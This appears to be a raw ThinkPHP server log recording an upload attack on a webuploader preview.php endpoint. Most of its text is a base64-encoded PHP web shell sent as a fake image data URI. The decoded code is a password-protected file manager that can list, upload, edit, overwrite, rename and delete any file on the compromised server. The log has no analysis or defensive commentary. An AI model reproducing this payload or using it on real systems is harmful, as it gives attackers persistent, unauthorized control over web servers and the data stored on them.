YS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:43+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/admin/webuploader/0.1.5/server/preview.php [运行时间:0.002646s] [吞吐率:377.93req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NC